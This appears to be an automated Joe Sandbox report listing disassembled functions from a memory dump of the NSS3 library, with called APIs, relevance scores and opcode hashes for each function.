Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 9114a84c911a13e526a5656763b32b3ad22df9fa61595ab33486b847580e053c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 8E21D7B1E003454BE701CF549E447AA37746FA135CF311269DD187B742F7B2E5948293

Function 6CE7ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE7ACC2

Part of subcall function 6CE52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE52F0A
Part of subcall function 6CE52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE52F1D

Part of subcall function 6CE52AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE50A1B,00000000), ref: 6CE52AF0
Part of subcall function 6CE52AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE52B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE7AD5E

Part of subcall function 6CE957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE5B41E,00000000,00000000,?,00000000,?,6CE5B41E,00000000,00000000,00000001,?), ref: 6CE957E0
Part of subcall function 6CE957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE95843

CERT_DestroyCertList.NSS3(?), ref: 6CE7AD36

Part of subcall function 6CE52F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE52F65
Part of subcall function 6CE52F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE52F83

free.MOZGLUE(?), ref: 6CE7AD4F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ce912e130f5cd9b159324b50f7ab6499c51b870011e103f8319c23b1546ecfcf
Instruction ID: 650c75e0592796335d5b737cd200cf30c3d33f7f6786e224a9bb017bbf63f1f7
Opcode Fuzzy Hash: ce912e130f5cd9b159324b50f7ab6499c51b870011e103f8319c23b1546ecfcf
Instruction Fuzzy Hash: 0821C6B1D002048BEB20DFA4E9065EEB7B4AF1524CF655068D8057B700F732EA55CBB2

Function 6CEA3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CEA3CAE
PR_Unlock.NSS3(?), ref: 6CEA3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3D02

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5dfb39fe639ce234809a4f52bc5dd58714a33f2bb4a1759907d394f0edea9181
Instruction ID: c94b3a2068d1b877dd6015c154c89a89a50675b50f900fedd76e672bb7b7c722
Opcode Fuzzy Hash: 5dfb39fe639ce234809a4f52bc5dd58714a33f2bb4a1759907d394f0edea9181
Instruction Fuzzy Hash: C111B479E00204AFDB40AF64EC48A9A3778EF09368F254164ED049B712E731ED45CBE1

Function 6CEAECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CEAF0AD,6CEAF150,?,6CEAF150,?,?,?), ref: 6CEAECBA

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CEAECD1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CEAED02

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CEAED5A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 1ef62e992804b61836b8cce625fb3bceaf5ec84001facd994d3d8ed30beb838c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1121C2B1A00B425FE700CF25DA44B62B7F4AFA430CF258219E81C8B761E770E5A5C6D0

Function 6CEDEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEE14

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

memcpy.VCRUNTIME140(?,?,6CEC9767,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEE33

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: e58d4a09192306fb5b4d80331085bf2aaa6a1677f0bc5757d0e6c22397902bf5
Instruction ID: 77f5a325dbe0d6015083aba68a2b4aaecae824ed679691ef0e6041dbb9fa5117
Opcode Fuzzy Hash: e58d4a09192306fb5b4d80331085bf2aaa6a1677f0bc5757d0e6c22397902bf5
Instruction Fuzzy Hash: C71182B1A00B07ABE7109E65DD88B06F3B8EB0035DF314525ED1983A40E731F45587E1

Function 6CE5DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

CERT_NewCertList.NSS3 ref: 6CE5DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE5DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE5DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5E029

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 2dc387fa1aec94ef8d0f0b2477b1221d8b26a5ac07882f7aa3aaba9b0e199ab4
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 12116F71A00A066BEB101EA85C00BAB76B8EB4535CFB40538E918C7B00F73BC83593E1

Function 6CE78DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE78DE7
EnterCriticalSection.KERNEL32 ref: 6CE78DFC
PR_Unlock.NSS3 ref: 6CE78E2D
PR_SetError.NSS3 ref: 6CE78E49

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b6076d23ffc3bc005e8bb6c0a3988a59025e1ad9b6288fb7dc07a277bb530b5a
Instruction ID: 0d461c4e0c8b837ec7a5c131f338c96f899d6570d69a83fffc061a7a56302231
Opcode Fuzzy Hash: b6076d23ffc3bc005e8bb6c0a3988a59025e1ad9b6288fb7dc07a277bb530b5a
Instruction Fuzzy Hash: 9A11BF71A04A009BD750AF78D488269BBF4FF05354F11492ADC88D7B00E730E854CBD2

Function 6CF198D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E

Part of subcall function 6CDD1630: TlsGetValue.KERNEL32(00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CDD1659

free.MOZGLUE(00000000), ref: 6CF1995E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: 267fbafad3ad1515a6be396abf96706d417ff5e1c0941aff8f8b6453aaf4ca90
Instruction ID: 9781e6ed2918e34111cb8cacfa92eab2d78a170a3b65cf374de0471a910669fc
Opcode Fuzzy Hash: 267fbafad3ad1515a6be396abf96706d417ff5e1c0941aff8f8b6453aaf4ca90
Instruction Fuzzy Hash: 8201AD72B54601ABD760AFA89C0975BBAF8AB06B55F40443EE449D2E40DF70A204CBE1

Function 6CEFAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CEE5F17,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CEE5F17,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACDB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 2cd32886af99f5070fdbf9ccf46a07aacb750365788d927efb5f6de562c4aef5
Instruction ID: c32a31b160031a7d45b2f65ad2e870ff67f71ecc9e1a0bf8ccb912d318c1befb
Opcode Fuzzy Hash: 2cd32886af99f5070fdbf9ccf46a07aacb750365788d927efb5f6de562c4aef5
Instruction Fuzzy Hash: 7E018CB5B01B029BE750DF69E918757B7F8BF00659B204839D86AC7B00E731F015CB90

Function 6CE61DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE61DFB

Part of subcall function 6CE595B0: TlsGetValue.KERNEL32(00000000,?,6CE700D2,00000000), ref: 6CE595D2
Part of subcall function 6CE595B0: EnterCriticalSection.KERNEL32(?,?,?,6CE700D2,00000000), ref: 6CE595E7
Part of subcall function 6CE595B0: PR_Unlock.NSS3(?,?,?,?,6CE700D2,00000000), ref: 6CE59605

PR_EnterMonitor.NSS3 ref: 6CE61E09

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE5E190: PR_EnterMonitor.NSS3(?,?,6CE5E175), ref: 6CE5E19C
Part of subcall function 6CE5E190: PR_EnterMonitor.NSS3(6CE5E175), ref: 6CE5E1AA
Part of subcall function 6CE5E190: PR_ExitMonitor.NSS3 ref: 6CE5E208
Part of subcall function 6CE5E190: PL_HashTableRemove.NSS3(?), ref: 6CE5E219
Part of subcall function 6CE5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE5E231
Part of subcall function 6CE5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE5E249
Part of subcall function 6CE5E190: PR_ExitMonitor.NSS3 ref: 6CE5E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61E37
PR_ExitMonitor.NSS3 ref: 6CE61E4A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: aa1425320091432790eff10ce97cd9e2d8d0f8623a29c09e5b135c34701f76e9
Instruction ID: 4dad027e3b5646e056e64bc40063068605a6d198372980d71a24f3e8af8af850
Opcode Fuzzy Hash: aa1425320091432790eff10ce97cd9e2d8d0f8623a29c09e5b135c34701f76e9
Instruction Fuzzy Hash: 350126B1BA015097EB014BABED40F4277B4AB52B4CF300035E81997F91E772E825CBD2

Function 6CE61D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE61D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE61D9C
free.MOZGLUE(00000000), ref: 6CE61DB8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: d8bba4a0e832020b1da2bf222e5f130b075bd788c7f26fcb1994826e494eab5e
Instruction ID: 4a738bff4e1b5bd2f38250e01b501355f6b7a00184fb2f4c6f9a3fd7f0dfec07
Opcode Fuzzy Hash: d8bba4a0e832020b1da2bf222e5f130b075bd788c7f26fcb1994826e494eab5e
Instruction Fuzzy Hash: F4F026B2A9120057FB111A9BED42B5632789B8169DF300239D91887F40D631E40182E1

Function 6CEA88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CEB08AA,?), ref: 6CEA88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CEB08AA,?), ref: 6CEA890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CEB08AA,?), ref: 6CEA8936
PR_Unlock.NSS3(?,?,?,?,?,6CEB08AA,?), ref: 6CEA8940

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 701313b90e2ca896a50b9353b97b566016ac3afbd8e3383e9f9cfc6cfa64aaab
Instruction ID: cc5dcfa626db09ec6cd139b84b51e726599104f0e6c435cca365ffad8a0bb9c0
Opcode Fuzzy Hash: 701313b90e2ca896a50b9353b97b566016ac3afbd8e3383e9f9cfc6cfa64aaab
Instruction Fuzzy Hash: F3018074A046859FDB10AFB9D084659BBF4FF0539CF215A2AD8988BB00E730E495CBD6

Function 6CEAFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4
free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: bf15f2ae2559e0bb5f3598c3df5770ffc9f8c597ddf4f9939649b736d0e2d330
Instruction ID: 5f56d738b93efcb70f5ffb0cfad6a7b755606bd4d6d6ff4a9fcee9e461573771
Opcode Fuzzy Hash: bf15f2ae2559e0bb5f3598c3df5770ffc9f8c597ddf4f9939649b736d0e2d330
Instruction Fuzzy Hash: FEF0C8F66022029FEF014B95ED90A27B778EF4529DB248134ED098EB01E731E816C7E1

Function 6CF6CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF6CC61
free.MOZGLUE ref: 6CF6CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF6CC80
free.MOZGLUE(?), ref: 6CF6CC87

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 639b25f3786c3d896fd3af43734817854574c1a099210ce0f144a0d07c6c2cba
Instruction ID: 2cff5adb67858d06a3b20d5ebf7d53b04743351790d4b6443b28519306c75eea
Opcode Fuzzy Hash: 639b25f3786c3d896fd3af43734817854574c1a099210ce0f144a0d07c6c2cba
Instruction Fuzzy Hash: 1EE030767006089BCA10EFA8DC4488AB7ACEE492703150525E691C3700D232F905CBA1

Function 6CE49DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE49E1F

Part of subcall function 6CE013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDD2352,?,00000000,?,?), ref: 6CE01413
